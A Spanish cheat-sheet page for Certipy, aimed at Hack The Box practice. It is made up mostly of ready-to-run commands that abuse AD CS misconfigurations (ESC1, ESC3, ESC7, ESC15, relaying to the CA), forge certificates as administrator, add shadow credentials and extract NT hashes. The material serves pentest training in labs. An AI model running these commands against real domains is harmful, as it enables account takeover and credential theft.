Certipy
Certipy encuentra plantillas y CA mal configuradas (find -vulnerable te dice qué ESC aplica), pide certificados a nombre de otros usuarios y los convierte en su hash NT con PKINIT. También hace shadow credentials con una sola orden.
- Plataforma
- Linux (Python)
- Web oficial
- github.com/ly4k/Certipy
- En HTB
- 12 máquinas
Instalación
pipx install certipy-ad
- T1649 Robar o forjar certificados de autenticación
- T1098 Manipulación de cuentas
- ADCS (certificados)
- Shadow Credentials
Chuleta de Certipy
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Cuando PKINIT no funciona
Shell LDAP autenticada con el certificado
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -ldap-shell
Si el DC no admite PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP), entra por LDAPS con Schannel y desde ahí cambia una contraseña o configura RBCD.
En nuestras chuletas
Escalada en Windows y Active Directory › Active Directory
Plantillas de certificados vulnerables (ADCS)
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Active Directory a fondo › ADCS (ESC1–16)
Barrido con Certipy (dice el ESC)
Atacante
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Pedir el certificado con otro SAN
Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
Autenticarse con el cert y sacar el hash NT
Atacante
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC3: pedir un cert de agente y, con él, uno a nombre de otro
Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
Hacerla vulnerable y restaurarla
Atacante
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC7: darte el permiso Manage Certificates y aprobar tu propia solicitud
Atacante
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
Relayear a la CA y obtener un cert del equipo
Atacante
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
Cambiar el UPN de un usuario que controlas y pedir el cert como él
Atacante
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC15: aplicación-política con EKU de autenticación de cliente
Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'
Active Directory a fondo › Delegación
Añadir una clave y sacar el hash NT con certipy
Atacante
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima
Ningún comando coincide.
Máquinas de HTB donde se usa Certipy
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Certipy. El enlace ▶ salta al minuto de esa parte.
Guías que usan Certipy
- ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16) 4 min de lectura Encontrar plantillas y CA vulnerables de ADCS con Certipy y explotar ESC1, ESC4, ESC7, ESC8, ESC9 y ESC16, con el error típico de cada caso.
- Abuso de ACLs en Active Directory: GenericAll, WriteDacl, Shadow Credentials y DCSync 4 min de lectura Qué hacer con cada flecha de BloodHound: cambiar contraseñas, añadirte a grupos, Shadow Credentials, darte DCSync con WriteDacl y leer LAPS o gMSA.